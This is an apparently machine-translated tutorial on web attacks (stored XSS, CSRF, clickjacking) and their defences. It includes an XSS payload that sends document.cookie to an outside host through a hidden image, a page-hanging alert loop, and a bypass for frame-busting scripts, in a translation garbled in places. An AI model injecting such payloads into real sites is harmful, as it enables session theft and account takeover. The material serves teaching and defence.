Link to jkchao.cn/article/59d…

XSS

XSS: Cross Site Scripting is the most common and basic method of attacking WEB sites. Attackers inject illegal HTML tags or javascript code to control the user’s browser while browsing the page.

XSS is divided into three main categories:

  • DOM xss :

    DOM is the text object model. DOM usually stands for objects in HTML, XHTML, and XML. Using DOM allows programs and scripts to dynamically access and update the content, structure, and style of documents. It does not require the direct involvement of the server in parsing the response, and XSS is triggered by browser-side DOM parsing, which can be considered entirely client-side.

  • Reflective XSS:

    Reflective XSS, also known as non-persistent XSS, is the most vulnerable type of XSS vulnerability today. When the request is made, the XSS code appears in the URL, and finally the input is submitted to the server, which parses the XSS code in the response content, and finally the browser parses and executes it.

  • Storage XSS:

    Stored XSS, also known as persistent XSS, is the most dangerous type of cross-site script, more insidious than reflective and DOM XSS, and therefore more harmful because it does not require manual triggering by the user. Web programs that allow users to store data may have stored XSS vulnerability. When an attacker submits a piece of XSS code, it will be received and stored by the server, and when all visitors visit a page, it will be XSS. The most typical example is message board.

Cross-site scripting attacks may have the following effects:

  • Use false input forms to defraud users of personal information.

  • Using scripts to steal the user’s Cookie value, the victim unknowingly helps the attacker to send malicious requests.

  • Display a fake article or image.

Storage XSS case

Comments are a common feature in project development, and if you save comments directly to the database, they can be displayed under attack.

  • If you just want to try XSS, you can do this:

      <font size="100" color="red"> Test the waters </font>Copy the code

  • If it’s a little spiteful, here’s how:

      <script>
      while (true) {
          alert('Hello')}"/script>Copy the code

    At this point, the site dies.

  • Of course, the most common XSS attack is to read cookies:

      <script>
      alert(document.cookie)
  </script>Copy the code

    Cookies sent to the attacker’s site:

      var img = document.createElement('img')
  img.src='http://www.xss.com?cookie=' + document.cookie
  img.style.display='none'
  document.getElementsByTagName('body') [0].appendChild(img)Copy the code

    The login credentials of the current user are stored in the server session and in the browser in the form of cookies. If the attacker can obtain the Cookie of the user’s login credentials, he can even bypass the login process and directly set the Cookie value to access the user’s account.

defense

In theory, wherever there is input data, there could be an XSS hazard.

  • HttpOnly: After the httpOnly attribute is set in cookie, the JS script cannot read cookie information.

      // koa
  ctx.cookies.set(name, value, {
      httpOnly: true // Defaults to true
  })
  `Copy the code

  • filter

    • Input check is generally used to check input formats, such as email, phone number, user name, password… Etc., input in accordance with the specified format.

      Not only is the front end responsible, but the back end does the same filtering check.

      Because an attacker can bypass the normal input process and send the Settings directly to the server using the relevant interface.

    • HtmlEncode In some cases, the user data cannot be strictly filtered and labels need to be converted

      When the user enters , the final save result is < script> window.location.href=” http://www.baidu.com” < /script> When rendered, the browser converts these characters into text rather than executable code.

    • JavaScriptEncode adds a backslash to the following characters

      About more the HtmlEncode and JavaScriptEncode, please refer to www.cnblogs.com/lovesong/p/…

CSRF

CSRF: Cross-site Request Forgeries, also known as one-click attacks or session riding. Impersonate the user to initiate a request (without the user’s knowledge), complete some things against the user’s will (such as modifying user information, deleting the initial comments, etc.).

The following effects may occur:

  • Update setting information by using authenticated user permissions;

  • Purchase goods with authenticated user rights;

  • Use approved user permissions to post on message boards.

A diagram to understand the principle:

In short: Websites trust their users too much.

Different from XSS

  • CSRF is generally implemented by XSS, and is often referred to as XSRF (CSRF can also be implemented by direct command line requests, etc.).

  • Essentially, XSS is a code injection problem and CSRF is an HTTP problem. XSS is content that is not filtered causing the browser to execute the attacker’s input as code. CSRF is because the browser automatically carries cookies when sending HTTP requests, and most websites’ sessions are stored in cookies.

  • A chestnut from some:

case

For example, the transfer operation of a website

The victim, Joe, wired $100 to Joe,

Request bank.example/transfer through the website of the bank. Ac… .

Normally, after the request is sent, the server checks whether the session is valid and that John has logged in successfully.

Hacker King 5 can send a request to the bank. Example /transfer? Ac… But the request came from Wang Wu, not Zhang SAN, who could not pass security certification. He needs John’s session.

Wang Wu made a website by himself and put in the following code: bank.example/transfer? Ac… “, using various ways to induce Zhang SAN to click on their own website.

Zhang SAN logs in to the bank’s website and does not quit, but visits the hacker Wang Wu’s website, and the above URL will send a request to the bank.

If the session doesn’t expire, then something tragic happens, and Joe loses 1,000 in his account.

defense

  • Verification code; It forces the user to interact with the application in order to complete the final request. This method can contain CSRF well, but the user experience is poor.

  • Use post as much as possible and limit get. As you can see from the previous example, GET is too easy to use for CSRF attacks, but POST is not foolproof, attackers just need to construct a form.

  • Referer check; This method has the lowest cost, but is not guaranteed to be 100% effective because the server does not always get the Referer, and there is a risk that older browsers will forge the Referer.

  • Token; The CSRF defense mechanism of token verification is recognized as the most appropriate solution.

    The overall idea is as follows:

    • Step 1: The backend randomly generates a token and stores the token in the session state. At the same time, the backend passes the token to the front-end page;

    • Step 2: When the front-end page submits the request, it adds the token to the request data or header information and sends it to the back-end.

    • The backend verifies whether the token sent from the front-end is consistent with the session. If the token sent from the front-end is consistent with the session, the request is valid; otherwise, the request is invalid.

      If the site also has XSS vulnerability, this method is also empty.

Clickjacking

Clickjacking is the use of transparent buttons or links to create traps over a Web page. An attack that induces the user to click on the link to access content without their knowledge. This behavior is also known as INTERFACE dressing.

There are probably two ways:

  • An attacker uses a transparent IFrame, overlays it on a web page, and then induces the user to operate on the page, where the user unknowingly clicks on the transparent IFrame page.

  • An attacker uses an image to overlay a web page, obscuring its original location.

case

A picture

General steps

  • Hackers create a web page using iframe to contain the target website;

  • Hide the target website, the user can not detect the existence of the target website;

  • Construct web page, mutate the user to click the feature button

  • Users unknowingly click buttons that trigger commands to execute malicious web pages.

defense

  • X – FRAME – the OPTIONS;

    X-frame-options HTTP response headers are flags used to indicate to the browser whether to allow a page to be displayed in < FRAME >,

    There are three values:

    • DENY: indicates that pages are not allowed to be displayed in frame, even if they are nested in pages of the same domain name.

    • SAMEORIGIN: indicates that the page can be displayed in the frame of the same domain name page.

    • Allow-from URL: indicates that the page can be displayed in the frame FROM the specified source.

    Configure X – FRAME – the OPTIONS:

    • Apache

      Add the following line to the configuration for ‘site’ :

      Header always append X-Frame-Options SAMEORIGINCopy the code

    • nginx

      Add the following line to the ‘HTTP ‘, ‘server’ or ‘location’ configuration

      add_header X-Frame-Options SAMEORIGIN;Copy the code

    • IIS

      Add the following configuration to the web. config file

        <system.webServer>
...

<httpProtocol>
  <customHeaders>
    <add name="X-Frame-Options" value="SAMEORIGIN" />
  </customHeaders>
</httpProtocol>

...
</system.webServer>Copy the code

  • Js judge the top window jump, can be easily cracked, not significant;

    function locationTop(){
  if(top.location ! = self.location) { top.location = self.location;return false;
  }
  return true; 
 }
locationTop();Copy the code
    / / crack:
// Put the code in the top-level window
var location = document.location;
/ / or
var location = "";Copy the code